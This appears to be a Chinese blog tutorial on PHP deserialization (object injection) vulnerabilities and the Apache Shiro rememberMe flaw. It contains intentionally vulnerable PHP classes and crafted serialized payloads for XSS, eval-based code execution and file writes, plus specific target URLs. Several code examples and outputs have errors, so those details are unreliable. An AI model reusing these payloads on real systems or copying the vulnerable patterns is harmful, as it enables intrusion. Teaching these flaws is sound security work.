反序列化漏洞原理

序列化与反序列化介绍

序列化就是将变量或对象转化成字符串的过程

反序列化就是将字符串转会为对象的过程

php中相关函数
serialize()将 一个对象转换成一个字符串;
unserialize()将字符串还原为一个对象;

在php应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等

简单点讲 序列化就是把一对对象变为可以传输的字符串,而反序列化就是把字符还原为对象

为什么要序列化和反序列化?

方便传输和存储数据

PHP序列化

序列化是将对象转换为字符串存储或传输的一种方式,序列化的目的也是为了方便数据的传输或存储

举例:

我们在京东购买了一张电脑桌,桌子是不规则的物体,该怎么从一个城市运输到另外一个城市,这时候商家会把桌子拆成不同的板子,然后再装到箱子中,这样就可以邮寄过去,这个过程就类似于反序列化的过程.?(将数据转换为方便传输存储的格式)

序列化方式

php中使用serialize()函数进行序列化操作.

序列化 serialize()

序列化举例

<?php
class test
{
    public $a = 'test';
}
$S = new test;
print_r(serialize($S));
?>
O:4:"test":1:{s:1:"a";s:5:"admin";}
0代表object
4代表对象名称长度4位
test代表具体得对项名称
1 代表其中1有一个属性
{代表该对象中得这1一个属性}
s === string
1 === 长度
a === 内容;
s === string
5 === 长度
admin === 内容

得到结果

输出结果 O:4:"test":1:{s:1:"a";s:4:"test";}
O表示类(object) 4表示类名长度 test是类名 1代表类中有一个属性 s字符串 1属性名长度为 1位 a是属性名 test
是属性的值

序列化字段含义

a – array 数组 *
b – boolean 布尔型 *
d – double 双精度型
i – integer 整型 *
o – common object 一般对象 *
r – reference 引用
s – string 字符串 *
C – custom object 自定义对象
O – class N – null 表示类 *
R – pointer reference 引用传递
U – unicode string unicode编码的字符串


O:2:"AB":1:{s:1:"a";s:3:"SSR";}
字符串序列化
<?php
$a='test';
$b=serialize($a);
echo "字符串序列化 -> ";
print_r($b);
?>

输出结果: 序列化: s:4:"test";

数组序列化
<?php
$arr = array('name' => 'jack', 'age' => 13);
echo "数组序列化 -> ";
$c = serialize($arr);
print_r($c);
?>

输出结果: a:2:{s:4:"name";s:4:"jack";s:3:"age";i:13;}

对象序列化
<?php
class AB
{
public $a = 'SSR';
}
$class = new test;
echo "类序列化 -> ";
print_r(serialize($class));
?>
输出结果 O:2:"AB":1:{s:1:"a";s:3:"SSR";}
O表示类 2表示类名长度 AB是类名 1代表类中有一个属性 s字符串 1长度为 1位 s字符串 3值长度 a是属性名 SSR
是属性的值
PHP反序列化

反序列化:显而易见,那么就是序列化过程中 的逆向操作而已,也就是将字符串转换成为对象.而反序列化漏洞就是因为再反序列化转换过程中,触发代码执行,从而造成漏洞,关键点还是在于可控或不可控.

php中使用 unserialize() 将字符串还原成为一个对象

举例

<?php
//  class chybeta{      这个class内容 为还原之后的内容
// 	var $test = '123';
// 	}
$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}';
$class2_unser = unserialize($class2);
print_r($class2_unser);
?>



#序列化和反序列化
序列化就是将对象类型数组转换为字符串格式
反序列化就是将字符串格式转换为对象类数组
魔法函数
#普通函数
function person(){
  echo "123";
}
person()  ;    #手工调用

  #特定的场景下自动执行
  function  __construct(){
    echo "123123";
  }
__construct() 当一个对象创建时被调用(构造函数,当对象创建(new)时会自动调用。)
__destruct() 当一个对象销毁前被调用 ;
__sleep() 在对象被序列化前被调用
__wakeup 将在反序列化之后立即被调用(当使用unserialize()进行反序列化时,就会被调用unserialize()时会检查是
否存在__wakeup如果存在则会优先调用 __wakeup()方法 );
__toString 当一个对象被当做字符串使用时被调用 ;
__get(),__set() 当调用或设置一个类及其父类方法中未定义的属性时 ;
__invoke() 调用函数的方式调用一个对象时的回应方法 ;
__call 和 __callStatic 前者是调用类不存在的方法时执行,而后者是调用类不存在的静态方式方法时执行。

举例

<?php
class Test{
  public function __construct(){
    echo 'construct run';
  }
  public function __destruct(){
    echo 'destruct run';
  }
  public function __toString(){
    echo 'toString run';
  return 'toString';
  }
  public function __sleep(){
    echo 'sleep run';
  return array();
  }
  public function __wakeup(){
    echo 'wakeup run';
  }
}


echo 'new了一个对象,对象被创建,执行 __construct:</br>';
$test= new Test();
echo '<hr>';

echo '</br>serialize了一个对象,对象被序列化,先执行__sleep,再序列化:</br>';
$sTest= serialize($test);
echo '<hr>';

echo'</br>unserialize了一个序列化字符串,对象被反序列化,先反序列化,再执行__wakeup:</br>';
$usTest= unserialize($sTest);
echo '<hr>';

echo'</br>把Test这个对象当做字符串使用了,执行__toString:</br>';
$string= 'hello class '. $test;
echo '<hr>';

echo'</br>程序运行完毕,对象自动销毁,执行__destruct.</br>';

?>

运行结果

小结:

序列化(serialize()):把对象转换成字节序列的过程称为对象的序列化

反序列化(unserialize()):把字节序列恢复为对象的过程 称为对象的反序列化

魔法函数

PHP反序列化漏洞

漏洞描述

反序列化又叫对象注入,漏洞产生的原因是因为程序再处理对象,魔法函数以及序列化相关问题导致的,当传给unserialize()的参数可控时,那么用户就可以注入payload进行反序列化的就可能触发对象的一个魔法函数.造成意想不到的危害

原理简述:序列化和反序列化本身没有问题,但是如果反序列化的内容时用户可以控制的,且后台不正当的使用了php中的魔法函数,就会导致安全问题

漏洞举例

1.代码分析

反序列化的内容是从用户前端传过来的,若从前端传来的内容中插入了恶意的序列化的内容,后台会对内容进行反序列化,则通过反序列化的接口造成xss漏洞

<?php
class S{
  var $test = "pikachu";
  function __destruct(){
  echo $this->test;
}
}
$s = $_GET['string'];
@$unser = unserialize($s);
?>

# O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

2.生成payload

<?php
class S{
  var $test = "<script>alert('xss')</script>";
  function __destruct(){
  echo $this->test;
}
}
$s = new S;
@$unser = serialize($s);
echo $unser;
?>


结果: O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
1. S类中存在危险函数
2. 反序列化的值,是用户可控的。
3. 用户构造反序列化的值,将类中属性test值进行替换
4. 用户传入
5. 程序处理,反序列操作,覆盖掉原有的test=pikachu的值为js代码
6. 当对象被销毁时,触发魔术方法,执行echo操作,造成XSS

3.执行结果

但是如果$_GET['string']为可控的,那么,输入序列化后的payload会被反序列化后echo执行

http://127.0.0.1/001.php?string=O:1:%22S%22:1:
{s:4:%22test%22;s:29:%22%3Cscript%3Ealert(%27xss%27)%3C/script%3E%22;}
__wakeup 漏洞演示

反序列换漏洞 __wakeup魔法函数漏洞演示

__wakeup将再反序列化之后立即被调用(当使用unserialize())进行反序列化时,就会被调用,unserialize()时 会检查是否存在 wakeup() ,如果存在,则会优先调用 wakeup()方法

一, 漏洞代码

<?php
class A {
  var $test = "demo";
  function __wakeup() {
  eval($this->test);
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>


?php
class A {
    var $test = "phpinfo();";
    function __wakeup() {
    eval($this->test);
}
}
$a = new A;
$a_unser = serialize($a);
echo $a_unser
?>

二,通过以上代码构造payload,执行phpinfo

O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}

解释:传入的参数被反序列化,导致魔术方法__wakeup被自动调用,这时参数传入的值将被作为eval的参数使用,所以这里会因反序列化导致任意代码执行

__wakeup文件操作

一,漏洞代码

<?php
include "test.php";//测试方便
class A {
    var $test = '123';
    function __wakeup() {
    $fp = fopen("test.php", "w");
    fwrite($fp, $this->test);
    fclose($fp);
}
}
$class1 = $_GET
$class1_unser = unserialize($class1);
?>

二,通过以上代码构造payload写入phpinfo();

解释:和上面一样,当传入的参数被反序列化时,魔术方法__wakeup被调用,传入的参数会作为fwrite的第二个参数,直接写入test.php文件中,从而导致反序列漏洞

__construct漏洞演示

__construct()当一个对象创建时被调用(构造函数,,当对象创建(new)时会自动调用.unserialize()反序列化时不会自动调用)

一,漏洞代码

<?php
include 'test.php';
class b { //定义了一个class b类
    function __construct($test) { // 在new得啥时候触发__construct
    $fp = fopen("test.php", 'w'); // 将接收到得test变量写入到test.php文件中
    fwrite($fp, $test);
    fclose($fp);
}
}
class a { // 定义了一个class a类
    var $test = 'test'; // test变量
    function __wakeup() { // 在反序列化时候触发
    $obj = new b($this->test); // 调用对b得实例化将test作为实参传递过去
}
}
$class = $_GET['string'];
$class_u = unserialize($class);
?>

二,通过以上代码构造payload执行phpinfo()

class  a{
  $test=<?php  phpinfo(); ?>

}


O:1:"a":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

执行完,代码会被写入test.php文件内

漏洞防御

和大多数漏洞一样,反序列化的问题也是用户参数的控制问题引起的,所以好的预防措施就是不要把用户的输入或者是用户可控的参数直接放进反序列化的操作中区

漏洞挖掘

代码审计

1.可控参数 unserialize(xxxx)

2.后端接收参数后进行反序列化操作

3.类中 存在 __wakeup 等魔术方法,并且有危险操作

挖掘反序列化漏洞的条件是

1.代码中有可利用的类,并且类中有wakeup(),sleep(),__destruct()这类特殊条件下可以字节调用的魔术方法

2.unserialize(*)函数的参数可控

Shiro反序列化漏洞

漏洞介绍

apache shiro 是一款开源企业常见java安全框架,此框架提供了rememberme的功能,这是很多网站都具备的,例如你登陆了一个网站,关掉浏览器再次打开网站时,网站会保留你的登录信息情况

shiro默认使用了cookieRememberMeManager函数,其处理Cookie的流程是:得到 RememberMe的cookie值->base64解码->AES解密->反序列化.然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE看i一点

shiro:认证框架

1、检索RememberMe cookie 的值
2、Base64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。
漏洞原理

shiro中AES加密的密钥key被硬编码在代码里,这意味着通过源代码或者暴力破解都能拿到AES加密的密钥.因此如果攻击者拿到密钥key,就可以构造一个恶意的对象,并且对其序列化,AES 加密,base64编码后,作为cookie的rememberMe字段发送,shiro将rememberMe 进行解密并且反序列化,最终造成反序列化漏洞

Shiro特征
http://43.138.43.4:8081/login.jsp;jsessionid=92EC77B1DBA2540163DDD539BA6B769C

请求包中 remeberme=1   相应包中有 remeberMer=deleteMe

漏洞复现

1.访问网站,发现登录框

http://kafka-1.mq.dev.eventec.shop:8083/login.jsp;jsessionid=5B44D18B0C98BAD1F1C9C39B52B39DB5

2.登陆勾选RememberMe,进行抓包

查看响应包(发现shiro特征)

3.使用shiro工具对密钥进行检测利用

4.爆破利用链

5.利用

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值